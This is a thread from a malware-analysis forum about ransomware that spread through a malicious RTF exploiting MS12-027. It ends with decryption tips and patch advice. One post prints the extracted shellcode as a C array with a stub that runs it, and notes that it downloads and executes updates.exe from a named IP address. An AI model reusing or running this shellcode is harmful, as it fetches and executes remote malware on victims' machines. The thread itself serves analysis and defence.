A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #19041  by TwinHeadedEagle
 Mon Apr 22, 2013 8:24 pm
Please merge topic if already exist

Came across this exploit

Virustotal report --> https://www.virustotal.com/en/file/e1d0 ... /analysis/

EDIT: Just to mention that this malware encrypted .doc .pdf .rar and similar files

I think it is PGP Coder--> http://en.m.wikipedia.org/wiki/PGPCoder

Can you tell me if it is possible to recover these corrupted files somehow?
Attachments
 #19047  by EP_X0FF
 Tue Apr 23, 2013 7:38 am
The shellcode at the end of this RTF document is responsible for load/start of hxxp://85.17.207.1/updates.exe, server is down.
Whoever want to play with this piece of crap, it is below.
Code: Select all
unsigned char sc[758] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x3C, 0x74, 0x43, 0xBE, 0x47, 0x40, 0x46, 0x05, 
	0x79, 0x0B, 0xD4, 0x0D, 0xB5, 0xB1, 0x27, 0x9F, 0x97, 0x90, 0x41, 0xB8, 0xB2, 0x24, 0x42, 0x73, 
	0x48, 0x86, 0xE0, 0x1D, 0x35, 0x76, 0x7E, 0x7C, 0x4F, 0x0C, 0x14, 0xBF, 0x93, 0x4E, 0xA8, 0x15, 
	0x98, 0x7A, 0x2F, 0xB6, 0x1B, 0xF7, 0xE1, 0x25, 0xBA, 0x13, 0xF5, 0x2C, 0xB0, 0x03, 0xFC, 0x81, 
	0xE2, 0x66, 0xA9, 0x67, 0x7B, 0x34, 0x8D, 0x71, 0x74, 0x71, 0x21, 0xC1, 0xE3, 0x7C, 0x4A, 0xB3, 
	0x8C, 0xE0, 0x75, 0x2D, 0x91, 0x98, 0x7F, 0x78, 0x76, 0x73, 0x70, 0x3A, 0xD3, 0xE2, 0x3B, 0xFC, 
	0xB4, 0x80, 0xEB, 0x49, 0x97, 0x7B, 0x3D, 0x72, 0x2D, 0x77, 0x25, 0xB3, 0x35, 0xB5, 0xB0, 0x27, 
	0x0D, 0x1D, 0x08, 0xF9, 0x85, 0xF5, 0x31, 0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0xDC, 0x84, 0xD6, 0x6A, 0x48, 0xA1, 0xC5, 0x74, 0xA1, 0x34, 0xC9, 0xFF, 0x67, 0x6E, 0x4F, 
	0x3F, 0x03, 0x98, 0x25, 0xC0, 0xB8, 0xF4, 0x34, 0x84, 0x64, 0xF8, 0x16, 0x56, 0x0D, 0x2D, 0xC0, 
	0xF6, 0x96, 0xD2, 0x3B, 0x85, 0xC5, 0x28, 0x2F, 0x44, 0x46, 0x58, 0x69, 0xCF, 0xEE, 0xCA, 0x8A, 
	0x25, 0x9A, 0xEA, 0x23, 0xAE, 0x6A, 0x61, 0xA4, 0xA9, 0x72, 0xA0, 0x51, 0xB6, 0xE4, 0xBA, 0x13, 
	0x14, 0xA2, 0xC5, 0x89, 0xB1, 0xDB, 0xC6, 0xCD, 0xBD, 0xA9, 0x48, 0x56, 0x23, 0x26, 0xCD, 0xE5, 
	0x8D, 0xA3, 0x75, 0x6F, 0xD2, 0xC3, 0x82, 0x90, 0x2D, 0xEC, 0xB4, 0x5B, 0xFC, 0x22, 0xF3, 0x8D, 
	0x32, 0x75, 0xCC, 0xFF, 0x03, 0x75
};

int __cdecl main(
	VOID
	) 
{
	int (*func)();
	func = (int (*)()) sc;
	(int)(*func)();
}
 #19054  by EP_X0FF
 Tue Apr 23, 2013 9:10 am
EP_X0FF wrote:hxxp://85.17.207.1/updates.exe, server is down.
MAXS wrote:Thanks, but is it possible to recover corrupted files?
Crystal ball is not available here.
 #19062  by EP_X0FF
 Tue Apr 23, 2013 2:10 pm
This means I don't know what this updates.exe file do as I don't have it. If it really GpCode ransom, then say goodbye to these files - RSA-1024 + AES-256 is deadend. You only can try to recover original files, if they were deleted by ransom after encryption, otherwise nohow.
 #19070  by EP_X0FF
 Thu Apr 25, 2013 1:59 am
Try this ftp://ftp.drweb.com/pub/drweb/tools/te215decrypt.exe

Do not remove C:\crypt.txt.

If you have it, and it is unmodified - run decryptor without parameters.
If you don't have it try this decryptor with parameter = ID of your system volume, can be retrieved through "dir" command. In some cases decryption is possible.

In general:
1) Always do backup of most important files;
2) Always use up-to-date full patched software. This particular Encoder campaign is email based and use very old already patched MSCOMCTL.OCX vulnerability. See MS12-027, KB2664258.
The (1) ListView, (2) ListView2, (3) TreeView, and (4) TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls in Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0 Runtime allow remote attackers to execute arbitrary code via a crafted (a) web site, (b) Office document, or (c) .rtf file that triggers “system state” corruption, as exploited in the wild in April 2012, aka “MSCOMCTL.OCX RCE Vulnerability.”
Install KB2597112 (Office 2003), KB2598041 (Office 2007 Suites), KB2598039 (Office 2010).